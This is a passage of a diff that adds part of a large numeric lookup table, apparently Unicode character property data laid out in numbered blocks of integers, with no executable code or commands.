+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17,
+ 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17,
+
+/* block 67 */
+ 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17,
+ 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13,354,354,354,354,354,354,354,354,354,354,
+354,354,354,354,354,354,354,354,354,354,354,354,354,354,354,354,
+355,355,355,355,355,355,355,355,355,355,355,355,355,355,355,355,
+355,355,355,355,355,355,355,355,355,355, 17, 17, 17, 17, 17, 17,
+ 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17,
+
+/* block 68 */
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+
+/* block 69 */
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13,  6, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13,  6, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13,  6,  6,  6,  6,  6,  6,  6,  6,
+
+/* block 70 */
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,  6,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+
+/* block 71 */
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 87, 87,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 87, 87, 87,
+ 13, 13, 13, 13, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 72 */
+ 87, 13, 13, 13, 13, 87, 13, 13, 13, 13, 87, 87, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 87, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 87, 13, 87, 13,
+ 13, 13, 13, 87, 87, 87, 13, 87, 13, 13, 13, 13, 13, 13, 13, 87,
+ 87, 13, 13, 13, 13, 13, 13, 13,  4,  5,  4,  5,  4,  5,  4,  5,
+  4,  5,  4,  5,  4,  5, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17,
+
+/* block 73 */
+ 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17,
+ 17, 17, 17, 17, 13, 87, 87, 87, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 87, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 87,
+  6,  6,  6,  6,  6,  4,  5,  6,  6,  6,  6, 87,  6, 87, 87, 87,
+  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,
+  6,  6,  6,  6,  6,  6,  4,  5,  4,  5,  4,  5,  4,  5,  4,  5,
+  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,
+
+/* block 74 */
+356,356,356,356,356,356,356,356,356,356,356,356,356,356,356,356,
+356,356,356,356,356,356,356,356,356,356,356,356,356,356,356,356,
+356,356,356,356,356,356,356,356,356,356,356,356,356,356,356,356,
+356,356,356,356,356,356,356,356,356,356,356,356,356,356,356,356,
+356,356,356,356,356,356,356,356,356,356,356,356,356,356,356,356,
+356,356,356,356,356,356,356,356,356,356,356,356,356,356,356,356,
+356,356,356,356,356,356,356,356,356,356,356,356,356,356,356,356,
+356,356,356,356,356,356,356,356,356,356,356,356,356,356,356,356,
+
+/* block 75 */
+  6,  6,  6,  4,  5,  4,  5,  4,  5,  4,  5,  4,  5,  4,  5,  4,
+  5,  4,  5,  4,  5,  4,  5,  4,  5,  6,  6,  6,  6,  6,  6,  6,
+  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,
+  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,
+  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,
+  6,  6,  6,  6,  6,  6,  6,  6,  4,  5,  4,  5,  6,  6,  6,  6,
+  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,
+  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  4,  5,  6,  6,
+
+/* block 76 */
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,  6,
+  6,  6,  6,  6,  6, 13, 13,  6,  6,  6,  6,  6,  6, 87, 87, 87,
+ 13, 13, 13, 13, 13, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 77 */
+357,357,357,357,357,357,357,357,357,357,357,357,357,357,357,357,
+357,357,357,357,357,357,357,357,357,357,357,357,357,357,357,357,
+357,357,357,357,357,357,357,357,357,357,357,357,357,357,357, 87,
+358,358,358,358,358,358,358,358,358,358,358,358,358,358,358,358,
+358,358,358,358,358,358,358,358,358,358,358,358,358,358,358,358,
+358,358,358,358,358,358,358,358,358,358,358,358,358,358,358, 87,
+ 21, 22,359,360,361,362,363, 21, 22, 21, 22, 21, 22,364,365,366,
+ 87, 14, 21, 22, 14, 21, 22, 14, 14, 14, 14, 14, 14, 80, 87, 87,
+
+/* block 78 */
+109,110,109,110,109,110,109,110,109,110,109,110,109,110,109,110,
+109,110,109,110,109,110,109,110,109,110,109,110,109,110,109,110,
+109,110,109,110,109,110,109,110,109,110,109,110,109,110,109,110,
+109,110,109,110,109,110,109,110,109,110,109,110,109,110,109,110,
+109,110,109,110,109,110,109,110,109,110,109,110,109,110,109,110,
+109,110,109,110,109,110,109,110,109,110,109,110,109,110,109,110,
+109,110,109,110,367,368,368,368,368,368,368, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87,369,369,369,369,370,369,369,
+
+/* block 79 */
+371,371,371,371,371,371,371,371,371,371,371,371,371,371,371,371,
+371,371,371,371,371,371,371,371,371,371,371,371,371,371,371,371,
+371,371,371,371,371,371, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+372,372,372,372,372,372,372,372,372,372,372,372,372,372,372,372,
+372,372,372,372,372,372,372,372,372,372,372,372,372,372,372,372,
+372,372,372,372,372,372,372,372,372,372,372,372,372,372,372,372,
+372,372,372,372,372,372, 87, 87, 87, 87, 87, 87, 87, 87, 87,373,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 80 */
+242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,242,
+242,242,242,242,242,242,242, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+242,242,242,242,242,242,242, 87,242,242,242,242,242,242,242, 87,
+242,242,242,242,242,242,242, 87,242,242,242,242,242,242,242, 87,
+242,242,242,242,242,242,242, 87,242,242,242,242,242,242,242, 87,
+242,242,242,242,242,242,242, 87,242,242,242,242,242,242,242, 87,
+126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,
+126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,
+
+/* block 81 */
+  2,  2, 15, 19, 15, 19,  2,  2,  2, 15, 19,  2, 15, 19,  2,  2,
+  2,  2,  2,  2,  2,  2,  2,  7,  2,  2,  7,  2, 15, 19,  2,  2,
+ 15, 19,  4,  5,  4,  5,  4,  5,  4,  5,  2,  2,  2,  2,  2, 81,
+  2, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 82 */
+374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,
+374,374,374,374,374,374,374,374,374,374, 87,374,374,374,374,374,
+374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,
+374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,
+374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,
+374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,
+374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,
+374,374,374,374, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 83 */
+374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,
+374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,
+374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,
+374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,
+374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,
+374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,
+374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,
+374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,
+
+/* block 84 */
+374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,
+374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,
+374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,
+374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,
+374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,374,
+374,374,374,374,374,374, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 87, 87, 87, 87,
+
+/* block 85 */
+  1,  2,  2,  2, 13,375,349,376,  4,  5,  4,  5,  4,  5,  4,  5,
+  4,  5, 13, 13,  4,  5,  4,  5,  4,  5,  4,  5,  7,  4,  5,  5,
+ 13,376,376,376,376,376,376,376,376,376, 82, 82, 82, 82, 82, 82,
+  7, 81, 81, 81, 81, 81, 13, 13,376,376,376,375,349,  2, 13, 13,
+ 87,377,377,377,377,377,377,377,377,377,377,377,377,377,377,377,
+377,377,377,377,377,377,377,377,377,377,377,377,377,377,377,377,
+377,377,377,377,377,377,377,377,377,377,377,377,377,377,377,377,
+377,377,377,377,377,377,377,377,377,377,377,377,377,377,377,377,
+
+/* block 86 */
+377,377,377,377,377,377,377,377,377,377,377,377,377,377,377,377,
+377,377,377,377,377,377,377, 87, 87, 82, 82, 10, 10,378,378,377,
+  7,379,379,379,379,379,379,379,379,379,379,379,379,379,379,379,
+379,379,379,379,379,379,379,379,379,379,379,379,379,379,379,379,
+379,379,379,379,379,379,379,379,379,379,379,379,379,379,379,379,
+379,379,379,379,379,379,379,379,379,379,379,379,379,379,379,379,
+379,379,379,379,379,379,379,379,379,379,379,379,379,379,379,379,
+379,379,379,379,379,379,379,379,379,379,379,  2, 81,380,380,379,
+
+/* block 87 */
+ 87, 87, 87, 87, 87,381,381,381,381,381,381,381,381,381,381,381,
+381,381,381,381,381,381,381,381,381,381,381,381,381,381,381,381,
+381,381,381,381,381,381,381,381,381,381,381,381,381,381, 87, 87,
+ 87,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+
+/* block 88 */
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241, 87,
+ 13, 13, 17, 17, 17, 17, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+381,381,381,381,381,381,381,381,381,381,381,381,381,381,381,381,
+381,381,381,381,381,381,381,381, 87, 87, 87, 87, 87, 87, 87, 87,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+379,379,379,379,379,379,379,379,379,379,379,379,379,379,379,379,
+
+/* block 89 */
+382,382,382,382,382,382,382,382,382,382,382,382,382,382,382,382,
+382,382,382,382,382,382,382,382,382,382,382,382,382,382,382, 87,
+ 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 13, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17,
+382,382,382,382,382,382,382,382,382,382,382,382,382,382,382,382,
+382,382,382,382,382,382,382,382,382,382,382,382,382,382,382, 13,
+
+/* block 90 */
+ 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+383,383,383,383,383,383,383,383,383,383,383,383,383,383,383,383,
+383,383,383,383,383,383,383,383,383,383,383,383,383,383,383,383,
+383,383,383,383,383,383,383,383,383,383,383,383,383,383,383, 87,
+
+/* block 91 */
+383,383,383,383,383,383,383,383,383,383,383,383,383,383,383,383,
+383,383,383,383,383,383,383,383,383,383,383,383,383,383,383,383,
+383,383,383,383,383,383,383,383,383,383,383,383,383,383,383,383,
+383,383,383,383,383,383,383,383,383,383,383,383,383,383,383,383,
+383,383,383,383,383,383,383,383,383,383,383,383,383,383,383,383,
+383,383,383,383,383,383,383,383, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+
+/* block 92 */
+384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,
+384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,
+384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,
+384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,
+384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,
+384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,
+384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,
+384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,
+
+/* block 93 */
+384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,
+384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,
+384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,
+384,384,384,384,384,384, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+ 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13,
+
+/* block 94 */
+384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,
+384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,
+384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,
+384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,384,
+384,384,384,384, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 95 */
+385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,
+385,385,385,385,385,386,385,385,385,385,385,385,385,385,385,385,
+385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,
+385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,
+385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,
+385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,
+385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,
+385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,
+
+/* block 96 */
+385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,
+385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,
+385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,
+385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,
+385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,
+385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,
+385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,
+385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,385,
+
+/* block 97 */
+385,385,385,385,385,385,385,385,385,385,385,385,385, 87, 87, 87,
+387,387,387,387,387,387,387,387,387,387,387,387,387,387,387,387,
+387,387,387,387,387,387,387,387,387,387,387,387,387,387,387,387,
+387,387,387,387,387,387,387,387,387,387,387,387,387,387,387,387,
+387,387,387,387,387,387,387, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 98 */
+388,388,388,388,388,388,388,388,388,388,388,388,388,388,388,388,
+388,388,388,388,388,388,388,388,388,388,388,388,388,388,388,388,
+388,388,388,388,388,388,388,388,388,388,388,388,388,388,388,388,
+388,388,388,388,388,388,388,388,388,388,388,388,388,388,388,388,
+388,388,388,388,388,388,388,388,388,388,388,388,388,388,388,388,
+388,388,388,388,388,388,388,388,388,388,388,388,388,388,388,388,
+388,388,388,388,388,388,388,388,388,388,388,388,388,388,388,388,
+388,388,388,388,388,388,388,388,388,388,388,388,388,388,388,388,
+
+/* block 99 */
+388,388,388,388,388,388,388,388,388,388,388,388,389,390,390,390,
+388,388,388,388,388,388,388,388,388,388,388,388,388,388,388,388,
+391,391,391,391,391,391,391,391,391,391,388,388, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+123,124,123,124,123,124,123,124,123,124,123,124,123,124,123,124,
+123,124,123,124,123,124,123,124,123,124,123,124,123,124,123,124,
+ 87, 87,123,124,123,124,123,124,123,124,123,124,123,124,392,126,
+127,127,127,393, 87, 87, 87, 87, 87, 87, 87, 87,126,126,393,316,
+
+/* block 100 */
+123,124,123,124,123,124,123,124,123,124,123,124,123,124,123,124,
+123,124,123,124,123,124,123,124, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 101 */
+ 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10,
+ 10, 10, 10, 10, 10, 10, 10, 81, 81, 81, 81, 81, 81, 81, 81, 81,
+ 10, 10, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 14, 14, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 80, 14, 14, 14, 14, 14, 14, 14, 14, 21, 22, 21, 22,394, 21, 22,
+
+/* block 102 */
+ 21, 22, 21, 22, 21, 22, 21, 22, 81, 10, 10, 21, 22, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 45, 45, 45, 45, 45,
+
+/* block 103 */
+395,395,396,395,395,395,396,395,395,395,395,396,395,395,395,395,
+395,395,395,395,395,395,395,395,395,395,395,395,395,395,395,395,
+395,395,395,397,397,396,396,397,398,398,398,398, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+399,399,399,399,399,399,399,399,399,399,399,399,399,399,399,399,
+399,399,399,399,399,399,399,399,399,399,399,399,399,399,399,399,
+399,399,399,399,399,399,399,399,399,399,399,399,399,399,399,399,
+399,399,399,399,400,400,400,400, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 104 */
+401,401,402,402,402,402,402,402,402,402,402,402,402,402,402,402,
+402,402,402,402,402,402,402,402,402,402,402,402,402,402,402,402,
+402,402,402,402,402,402,402,402,402,402,402,402,402,402,402,402,
+402,402,402,402,401,401,401,401,401,401,401,401,401,401,401,401,
+401,401,401,401,403, 87, 87, 87, 87, 87, 87, 87, 87, 87,404,404,
+405,405,405,405,405,405,405,405,405,405, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 105 */
+406,406,406,406,406,406,406,406,406,406,407,407,407,407,407,407,
+407,407,407,407,407,407,407,407,407,407,407,407,407,407,407,407,
+407,407,407,407,407,407,408,408,408,408,408,408,408,408,409,409,
+410,410,410,410,410,410,410,410,410,410,410,410,410,410,410,410,
+410,410,410,410,410,410,410,411,411,411,411,411,411,411,411,411,
+411,411,412,412, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,413,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 106 */
+414,414,414,414,414,414,414,414,414,414,414,414,414,414,414,414,
+414,414,414,414,414,414,414,414,414,414,414,414,414,414,414,414,
+414,414,414,414,414,414,414,414,414,415,415,415,415,415,415,416,
+416,415,415,416,416,415,415, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+414,414,414,415,414,414,414,414,414,414,414,414,415,416, 87, 87,
+417,417,417,417,417,417,417,417,417,417, 87, 87,418,418,418,418,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 107 */
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+
+/* block 108 */
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,241,
+241,241,241,241, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 109 */
+419,419,419,419,419,419,419,419,419,419,419,419,419,419,419,419,
+419,419,419,419,419,419,419,419,419,419,419,419,419,419,419,419,
